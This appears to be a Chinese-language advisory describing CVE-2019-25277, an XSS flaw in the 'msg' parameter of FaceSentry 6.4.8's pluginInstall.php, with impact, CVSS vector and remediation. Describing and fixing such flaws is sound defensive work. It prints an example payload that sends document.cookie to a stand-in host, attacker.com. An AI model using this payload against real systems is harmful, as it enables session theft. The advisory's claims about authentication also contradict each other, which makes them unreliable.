CVE-2019-25277CVE-2019-25277是FaceSentry Access Control System 6.4.8版本中发现的一个跨站脚本(XSS)漏洞。该漏洞存在于web界面的pluginInstall.php文件中,具体位于'msg'参数。攻击者可以利用此漏洞向应用程序注入恶意JavaScript代码。当受害者访问包含恶意脚本的页面时,这些脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。由于该漏洞不需要认证即可利用,且影响访问控制系统的管理界面,因此对系统安全性构成显著威胁。攻击者可通过构造特定的URL或请求,在用户不知情的情况下获取其认证凭证或执行未经授权的操作。FaceSentry作为企业级门禁控制系统,处理敏感的门禁数据和用户信息,该XSS漏洞可能被用于进一步的内网渗透或数据窃取攻击。
该漏洞为存储型或反射型XSS,取决于msg参数的处理方式。攻击者通过构造包含恶意JavaScript代码的msg参数值,将其注入到pluginInstall.php页面。应用程序未对用户输入进行充分的输入验证和输出编码,导致恶意脚本被浏览器解析执行。攻击payload示例:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于pluginInstall.php通常需要管理员权限访问,攻击者可能首先获取低权限账户,然后利用此漏洞提升权限或窃取管理员会话。漏洞影响CVSS向量为AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表明通过网络即可发起攻击,无需特殊权限但需要用户交互。攻击者需诱导管理员点击恶意链接或访问特制页面。修复方案应在服务端对所有用户输入进行严格过滤,并在输出时进行HTML实体编码。